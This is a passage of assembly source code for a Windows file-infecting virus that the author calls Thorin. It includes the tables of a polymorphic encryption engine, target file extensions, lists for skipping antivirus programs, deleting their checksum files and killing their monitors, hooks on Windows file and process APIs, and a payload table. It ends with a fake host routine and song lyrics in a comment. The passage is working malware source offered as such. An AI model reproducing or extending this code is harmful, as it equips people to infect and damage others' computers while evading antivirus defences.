fucompp
|
||
fxam
|
||
fxtract
|
||
fyl2x
|
||
fyl2xp1
|
||
sTHME_Copro equ (($-THME_Copro)/2)
|
||
|
||
; Possibilities before crypt operation
|
||
|
||
THME_Decrypt1 label byte
|
||
dd offset (THME_Decrypt1a)
|
||
dd offset (THME_Decrypt1b)
|
||
dd offset (THME_Decrypt1c)
|
||
sTHME_Decrypt1 equ (($-THME_Decrypt1)/4)
|
||
|
||
THME_Decrypt1a label byte
|
||
dd offset (THME_GenDeltaOffset)
|
||
dd offset (THME_GenLoadSize)
|
||
dd offset (THME_GenLoadPointer)
|
||
sTHME_Decrypt1a equ (($-THME_Decrypt1a)/4)
|
||
|
||
THME_Decrypt1b label byte
|
||
dd offset (THME_GenDeltaOffset)
|
||
dd offset (THME_GenLoadPointer)
|
||
dd offset (THME_GenLoadSize)
|
||
sTHME_Decrypt1b equ (($-THME_Decrypt1b)/4)
|
||
|
||
THME_Decrypt1c label byte
|
||
dd offset (THME_GenLoadSize)
|
||
dd offset (THME_GenDeltaOffset)
|
||
dd offset (THME_GenLoadPointer)
|
||
sTHME_Decrypt1c equ (($-THME_Decrypt1c)/4)
|
||
|
||
; Main table (for garbage generation)
|
||
|
||
THME_GBG_Table label byte
|
||
dd offset (THME_GBG_Arithmetic_EAX_IMM32)
|
||
dd offset (THME_GBG_Arithmetic_REG32_REG32)
|
||
dd offset (THME_GBG_Arithmetic_REG32_IMM32)
|
||
dd offset (THME_GBG_MOV_REG16_REG16)
|
||
dd offset (THME_GBG_MOV_REG16_IMM16)
|
||
dd offset (THME_GBG_MOV_REG32_REG32)
|
||
dd offset (THME_GBG_MOV_REG32_IMM32)
|
||
dd offset (THME_GBG_GenOneByter)
|
||
dd offset (THME_GBG_GenCopro)
|
||
dd offset (THME_GBG_GenPUSHPOP)
|
||
dd offset (THME_GBG_GenCALL_Type1)
|
||
sTHME_GBG_Table equ (($-THME_GBG_Table)/4)
|
||
|
||
thme_end label byte
|
||
|
||
THME endp
|
||
|
||
; ===========================================================================
|
||
; Random procedures
|
||
; ===========================================================================
|
||
;
|
||
; RANDOM
|
||
;
|
||
; input:
|
||
; Nothing.
|
||
; output:
|
||
; EAX = Random number
|
||
;
|
||
|
||
random proc ; Thanx MDriller! ;)
|
||
push ecx
|
||
mov eax,dword ptr [ebp+rnd_seed1]
|
||
dec dword ptr [ebp+rnd_seed1]
|
||
xor eax,dword ptr [ebp+rnd_seed2]
|
||
mov ecx,eax
|
||
rol dword ptr [ebp+rnd_seed1],cl
|
||
add dword ptr [ebp+rnd_seed2],eax
|
||
adc eax,dword ptr [ebp+rnd_seed2]
|
||
add eax,ecx
|
||
ror eax,cl
|
||
not eax
|
||
sub eax,3
|
||
xor dword ptr [ebp+rnd_seed2],eax
|
||
xor eax,dword ptr [ebp+rnd_seed3]
|
||
rol dword ptr [ebp+rnd_seed3],1
|
||
sub dword ptr [ebp+rnd_seed3],ecx
|
||
sbb dword ptr [ebp+rnd_seed3],4
|
||
inc dword ptr [ebp+rnd_seed2]
|
||
pop ecx
|
||
ret
|
||
random endp
|
||
|
||
; R_RANGE
|
||
;
|
||
; input:
|
||
; EAX = Number of possible random numbers
|
||
; output:
|
||
; EAX = Number between 0 and (EAX-1)
|
||
|
||
r_range proc
|
||
push ecx
|
||
push edx
|
||
mov ecx,eax
|
||
call random
|
||
xor edx,edx
|
||
div ecx
|
||
mov eax,edx
|
||
pop edx
|
||
pop ecx
|
||
ret
|
||
r_range endp
|
||
|
||
; ===========================================================================
|
||
; Virus data
|
||
; ===========================================================================
|
||
; I went to god just to see, and i was looking at me.
|
||
|
||
_MASK db "*."
|
||
EXTENSION dd 00000000h
|
||
|
||
EXTENSIONS db "EXE",0 ; Nice table: very easy to
|
||
db "SCR",0 ; add new extensions to infect
|
||
db "CPL",0
|
||
n_EXT equ (($-offset EXTENSIONS)/4)
|
||
|
||
ALL_MASK db "*.*",0
|
||
|
||
dotdot db "..",0
|
||
root db "c:\",0 ; Don't be afraid... :)
|
||
|
||
key_mIRC db "iKX\Thorin\mIRC32",0
|
||
key_PIRCH db "iKX\Thorin\Pirch32",0
|
||
key_ViRC97 db "iKX\Thorin\ViRC97",0
|
||
|
||
; Whoaaaaa... many many many payloads!
|
||
|
||
payload_table label byte
|
||
dd offset (payload1)
|
||
dd offset (payload2)
|
||
dd offset (payload3)
|
||
dd offset (payload4)
|
||
dd offset (payload5)
|
||
payload_number equ (($-offset payload_table)/4)
|
||
|
||
infections dd 00000000h
|
||
imagebase dd imagebase_
|
||
kernel dd kernel_
|
||
|
||
K32_DLL db "KERNEL32.dll",0
|
||
K32_Size equ $-K32_DLL
|
||
|
||
szSHELL32 db "SHELL32",0
|
||
szUSER32 db "USER32",0
|
||
szADVAPI32 db "ADVAPI32",0
|
||
|
||
szOPEN db "OPEN",0
|
||
szMicro$oft db "http://www.microsoft.com",0 ; Yaaaaaaargh!!!
|
||
|
||
; @@BadProgramz structure
|
||
; ???????????????????????
|
||
; +02h String Size
|
||
; +??h First letters (string size) of files we don't want to be infected
|
||
|
||
@@BadProgramz label byte
|
||
db 02h,"TB" ; ThunderByte?
|
||
db 02h,"F-" ; F-Prot?
|
||
db 03h,"NAV" ; Norton Antivirus?
|
||
db 03h,"AVP" ; AVP?
|
||
db 03h,"WEB" ; DrWeb?
|
||
db 03h,"PAV" ; Panda?
|
||
db 03h,"DRW" ; DrWeb?
|
||
db 04h,"DSAV" ; Dr Solomon?
|
||
db 03h,"NOD" ; Nod-Ice?
|
||
db 06h,"WINICE" ; SoftIce?
|
||
db 06h,"FORMAT" ; Format?
|
||
db 05h,"FDISK" ; Fdisk?
|
||
db 08h,"SCANDSKW" ; ScanDisk?
|
||
db 06h,"DEFRAG" ; Defrag?
|
||
db 0BBh
|
||
|
||
@@BadPhilez label byte ; Files to delete in all dirz
|
||
ANTIVIR_DAT db "ANTI-VIR.DAT",0
|
||
CHKLIST_DAT db "CHKLIST.DAT",0
|
||
CHKLIST_TAV db "CHKLIST.TAV",0
|
||
CHKLIST_MS db "CHKLIST.MS",0
|
||
CHKLIST_CPS db "CHKLIST.CPS",0
|
||
AVP_CRC db "AVP.CRC",0
|
||
IVB_NTZ db "IVB.NTZ",0
|
||
SMARTCHK_MS db "SMARTCHK.MS",0
|
||
SMARTCHK_CPS db "SMARTCHK.CPS",0
|
||
|
||
Monitors2Kill label byte
|
||
db "AVP Monitor",0
|
||
db "Amon Antivirus Monitor",0
|
||
db 0BBh
|
||
|
||
|
||
; @@Hookz structure
|
||
; ?????????????????
|
||
; +00h API Name
|
||
; +??h Bytes from beginning of virus until beginning of hook handler
|
||
|
||
@@Hookz label byte
|
||
?szMoveFileA db "MoveFileA",0
|
||
?hnMoveFileA dd (offset HookMoveFileA)
|
||
|
||
?szCopyFileA db "CopyFileA",0
|
||
?hnCopyFileA dd (offset HookCopyFileA)
|
||
|
||
?szGetFullPathNameA db "GetFullPathNameA",0
|
||
?hnGetFullPathNameA dd (offset HookGetFullPathNameA)
|
||
|
||
?szDeleteFileA db "DeleteFileA",0
|
||
?hnDeleteFileA dd (offset HookDeleteFileA)
|
||
|
||
?szWinExec db "WinExec",0
|
||
?hnWinExec dd (offset HookWinExec)
|
||
|
||
?szCreateProcessA db "CreateProcessA",0
|
||
?hnCreateProcessA dd (offset HookCreateProcessA)
|
||
|
||
?szCreateFileA db "CreateFileA",0
|
||
?hnCreateFileA dd (offset HookCreateFileA)
|
||
|
||
?szGetFileAttributesA db "GetFileAttributesA",0
|
||
?hnGetFileAttributesA dd (offset HookGetFileAttributesA)
|
||
|
||
?szFindFirstFileA db "FindFirstFileA",0
|
||
?hnFindFirstFileA dd (offset HookFindFirstFileA)
|
||
|
||
?szFindNextFileA db "FindNextFileA",0
|
||
?hnFindNextFileA dd (offset HookFindNextFileA)
|
||
|
||
?szHookGetProcAddress db "GetProcAddress",0
|
||
?hnHookGetProcAddress dd (offset HookGetProcAddress)
|
||
|
||
db "" ; How funny ;)
|
||
|
||
@IsDebuggerPresent db "IsDebuggerPresent",0
|
||
|
||
; Hrm, i think i should write some compression engine for that API shit :)
|
||
|
||
@@Namez label byte
|
||
@GetModuleHandleA db "GetModuleHandleA",0
|
||
@LoadLibraryA db "LoadLibraryA",0
|
||
@FindClose db "FindClose",0
|
||
@SetFilePointer db "SetFilePointer",0
|
||
@SetFileAttributesA db "SetFileAttributesA",0
|
||
@CloseHandle db "CloseHandle",0
|
||
@GetCurrentDirectoryA db "GetCurrentDirectoryA",0
|
||
@SetCurrentDirectoryA db "SetCurrentDirectoryA",0
|
||
@GetWindowsDirectoryA db "GetWindowsDirectoryA",0
|
||
@GetSystemDirectoryA db "GetSystemDirectoryA",0
|
||
@CreateFileMappingA db "CreateFileMappingA",0
|
||
@MapViewOfFile db "MapViewOfFile",0
|
||
@UnmapViewOfFile db "UnmapViewOfFile",0
|
||
@SetEndOfFile db "SetEndOfFile",0
|
||
@WriteFile db "WriteFile",0
|
||
@GetTickCount db "GetTickCount",0
|
||
@GetVersion db "GetVersion",0
|
||
@GlobalAlloc db "GlobalAlloc",0
|
||
@GlobalFree db "GlobalFree",0
|
||
@GetFileSize db "GetFileSize",0
|
||
@SetVolumeLabelA db "SetVolumeLabelA",0
|
||
@GetSystemTime db "GetSystemTime",0
|
||
|
||
@@HookedNamez label byte
|
||
@MoveFileA db "MoveFileA",0
|
||
@CopyFileA db "CopyFileA",0
|
||
@GetFullPathNameA db "GetFullPathNameA",0
|
||
@DeleteFileA db "DeleteFileA",0
|
||
@WinExec db "WinExec",0
|
||
@CreateProcessA db "CreateProcessA",0
|
||
@CreateFileA db "CreateFileA",0
|
||
@GetFileAttributesA db "GetFileAttributesA",0
|
||
@FindFirstFileA db "FindFirstFileA",0
|
||
@FindNextFileA db "FindNextFileA",0
|
||
@GetProcAddress db "GetProcAddress",0
|
||
db 0BBh ; I rule! :)
|
||
|
||
@@USER32_APIs label byte
|
||
@SwapMouseButton db "SwapMouseButton",0
|
||
@MessageBoxA db "MessageBoxA",0
|
||
@FindWindowA db "FindWindowA",0
|
||
@PostMessageA db "PostMessageA",0
|
||
db "" ; I like girls...
|
||
|
||
@@ADVAPI32_APIs label byte
|
||
@RegCreateKeyExA db "RegCreateKeyExA",0
|
||
@RegOpenKeyExA db "RegOpenKeyExA",0
|
||
@RegDeleteKeyA db "RegDeleteKeyA",0
|
||
db "" ; And music tho :)
|
||
|
||
@@SHELL32_APIs label byte
|
||
@ShellExecuteA db "ShellExecuteA",0
|
||
|
||
random_seed label byte
|
||
rnd_seed1 dd 00000000h
|
||
rnd_seed2 dd 00000000h
|
||
rnd_seed3 dd 00000000h
|
||
dd 00000000h
|
||
|
||
; THME Poly Engine data
|
||
|
||
THME_CounterReg db 00h
|
||
THME_PointerReg db 00h
|
||
THME_DeltaReg db 00h
|
||
|
||
THME_CoproInit db 00h
|
||
THME_CryptOp db 00h
|
||
|
||
THME_Recursion db 00h
|
||
THME_LoopAddress db 00000000h
|
||
THME_CryptKey dd 00000000h
|
||
THME_Pointer dd 00000000h
|
||
THME_Data2crypt dd 00000000h
|
||
THME_Size2crypt dd 00000000h
|
||
THME_S2C_div4 dd 00000000h
|
||
THME_GDO_TmpCll dd 00000000h
|
||
THME_Fix1 dd 00000000h
|
||
THME_Key1 dd 00000000h ; ADD/SUB/XOR key
|
||
|
||
; Virus data
|
||
|
||
NewSize dd 00000000h
|
||
SearchHandle dd 00000000h
|
||
FileHandle dd 00000000h
|
||
MapHandle dd 00000000h
|
||
MapAddress dd 00000000h
|
||
AddressTableVA dd 00000000h
|
||
NameTableVA dd 00000000h
|
||
OrdinalTableVA dd 00000000h
|
||
TempGA_IT1 dd 00000000h
|
||
TempGA_IT2 dd 00000000h
|
||
TempHandle dd 00000000h
|
||
iobytes dd 00000000h,00000000h,00000000h,00000000h,00000000h
|
||
GlobalAllocHnd dd 00000000h
|
||
GlobalAllocHnd_ dd 00000000h
|
||
TSHandle dd 00000000h
|
||
RegHandle dd 00000000h
|
||
Disposition dd 00000000h
|
||
lpFilePart dd 00000000h
|
||
WFD_HndInMem dd 00000000h
|
||
WFD_Handles_Count db 00h
|
||
CoolFlag db 00h
|
||
inNT db 00h
|
||
CurrentExt db 00h
|
||
|
||
tempcurdir db 7Fh dup (00h)
|
||
|
||
@@Offsetz label byte
|
||
_GetModuleHandleA dd 00000000h
|
||
_LoadLibraryA dd 00000000h
|
||
_FindClose dd 00000000h
|
||
_SetFilePointer dd 00000000h
|
||
_SetFileAttributesA dd 00000000h
|
||
_CloseHandle dd 00000000h
|
||
_GetCurrentDirectoryA dd 00000000h
|
||
_SetCurrentDirectoryA dd 00000000h
|
||
_GetWindowsDirectoryA dd 00000000h
|
||
_GetSystemDirectoryA dd 00000000h
|
||
_CreateFileMappingA dd 00000000h
|
||
_MapViewOfFile dd 00000000h
|
||
_UnmapViewOfFile dd 00000000h
|
||
_SetEndOfFile dd 00000000h
|
||
_WriteFile dd 00000000h
|
||
_GetTickCount dd 00000000h
|
||
_GetVersion dd 00000000h
|
||
_GlobalAlloc dd 00000000h
|
||
_GlobalFree dd 00000000h
|
||
_GetFileSize dd 00000000h
|
||
_SetVolumeLabelA dd 00000000h
|
||
_GetSystemTime dd 00000000h
|
||
@@HookedOffsetz label byte
|
||
_MoveFileA dd 00000000h
|
||
_CopyFileA dd 00000000h
|
||
_GetFullPathNameA dd 00000000h
|
||
_DeleteFileA dd 00000000h
|
||
_WinExec dd 00000000h
|
||
_CreateProcessA dd 00000000h
|
||
_CreateFileA dd 00000000h
|
||
_GetFileAttributesA dd 00000000h
|
||
_FindFirstFileA dd 00000000h
|
||
_FindNextFileA dd 00000000h
|
||
_GetProcAddress dd 00000000h
|
||
n_HookedAPIs equ (($-@@HookedOffsetz)/4)
|
||
|
||
|
||
@@USER32_Addresses label byte
|
||
_SwapMouseButton dd 00000000h
|
||
_MessageBoxA dd 00000000h
|
||
_FindWindowA dd 00000000h
|
||
_PostMessageA dd 00000000h
|
||
|
||
@@ADVAPI32_Addresses label byte
|
||
_RegCreateKeyExA dd 00000000h
|
||
_RegOpenKeyExA dd 00000000h
|
||
_RegDeleteKeyA dd 00000000h
|
||
|
||
MAX_PATH equ 260
|
||
|
||
FILETIME STRUC
|
||
FT_dwLowDateTime dd ?
|
||
FT_dwHighDateTime dd ?
|
||
FILETIME ENDS
|
||
|
||
WIN32_FIND_DATA label byte
|
||
WFD_dwFileAttributes dd ?
|
||
WFD_ftCreationTime FILETIME ?
|
||
WFD_ftLastAccessTime FILETIME ?
|
||
WFD_ftLastWriteTime FILETIME ?
|
||
WFD_nFileSizeHigh dd ?
|
||
WFD_nFileSizeLow dd ?
|
||
WFD_dwReserved0 dd ?
|
||
WFD_dwReserved1 dd ?
|
||
WFD_szFileName db MAX_PATH dup (?)
|
||
WFD_szAlternateFileName db 13 dup (?)
|
||
db 03 dup (?)
|
||
|
||
_WIN32_FIND_DATA label byte
|
||
_WFD_dwFileAttributes dd ?
|
||
_WFD_ftCreationTime FILETIME ?
|
||
_WFD_ftLastAccessTime FILETIME ?
|
||
_WFD_ftLastWriteTime FILETIME ?
|
||
_WFD_nFileSizeHigh dd ?
|
||
_WFD_nFileSizeLow dd ?
|
||
_WFD_dwReserved0 dd ?
|
||
_WFD_dwReserved1 dd ?
|
||
_WFD_szFileName db MAX_PATH dup (?)
|
||
_WFD_szAlternateFileName db 13 dup (?)
|
||
db 03 dup (?)
|
||
|
||
SYSTEMTIME label byte
|
||
ST_wYear dw ?
|
||
ST_wMonth dw ?
|
||
ST_wDayOfWeek dw ?
|
||
ST_wDay dw ?
|
||
ST_wHour dw ?
|
||
ST_wMinute dw ?
|
||
ST_wSecond dw ?
|
||
ST_wMilliseconds dw ?
|
||
|
||
|
||
directories label byte
|
||
|
||
WindowsDir db 7Fh dup (00h)
|
||
SystemDir db 7Fh dup (00h)
|
||
OriginDir db 7Fh dup (00h)
|
||
dirs2inf equ (($-directories)/7Fh)
|
||
mirrormirror db dirs2inf
|
||
|
||
align dword
|
||
|
||
crypt_end label byte
|
||
|
||
virus_end label byte
|
||
|
||
; ===========================================================================
|
||
; First generation host
|
||
; ===========================================================================
|
||
; I'm alone. I'm with me. I'm thinking. I'm dangerous.
|
||
|
||
fakehost:
|
||
pop dword ptr fs:[0]
|
||
pop eax
|
||
popad
|
||
popfd
|
||
|
||
xor eax,eax
|
||
push eax
|
||
push offset szTitle
|
||
push offset szMessage
|
||
push eax
|
||
call MessageBoxA
|
||
|
||
push 00000000h
|
||
call ExitProcess
|
||
|
||
end thorin
|
||
|
||
; ===========================================================================
|
||
; Bonus Track
|
||
; ===========================================================================
|
||
;
|
||
; As this virus is related with Tolkien, there is also a relation with some
|
||
; songs of my favourite band: Blind Guardian. And as most of you don't know
|
||
; a shit about them, here i will put one song: The Bard's Song [in the fo-
|
||
; rest], that is the hymn of all Blind Guardian's fans. By the way, i have to
|
||
; wish them good luck, because i've heard that their vocalist had recently an
|
||
; operation in his ear. Good luck, Hansi!!! We will always love you!
|
||
;
|
||
; Bard's Song [in the forest]
|
||
; ???????????????????????????
|
||
; Now you all know
|
||
; The bards and their songs
|
||
; When hours have gone by
|
||
; I'll close my eyes
|
||
; In a world far away
|
||
; We may meet again
|
||
; But now hear my song
|
||
; About the dawn of the night
|
||
; Let's sing the bards' song
|
||
;
|
||
; Tomorrow will take us away
|
||
; Far from home
|
||
; Noone will ever know our names
|
||
; But the bards' song will remain
|
||
; Tomorrow will take it away
|
||
; The fear of today
|
||
; It will be gone
|
||
; Due to our magic songs
|
||
;
|
||
; There's only one song
|
||
; Left in my mind
|
||
; Tales of a brave man
|
||
; Who lived far from here
|
||
;
|
||
; Now the bard songs are over
|
||
; And it's time to leave
|
||
; Noone should ask you for the name
|
||
; Of the one
|
||
; Who tells the story
|
||
;
|
||
; Tomorrow will take us away
|
||
; Far from home
|
||
; Noone will ever know our names
|
||
; But the bards' song will remain
|
||
; Tomorrow all will be known
|
||
; And you are not alone
|
||
; So don't be afraid
|
||
; In the dark and cold
|
||
; 'Cause the bards' song will remain
|
||
; They all will remain
|
||
;
|
||
; In my thoughts and dreams
|
||
; They're always in my mind
|
||
; These songs from hobbits, dwarves and men
|
||
; And elves
|
||
; Come close your eyes
|
||
; You can see them, too
|
||
;
|
||
; ---
|
||
; Copyright (c) 1992 by Blind Guardian; "Somewhere far beyond" album.
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|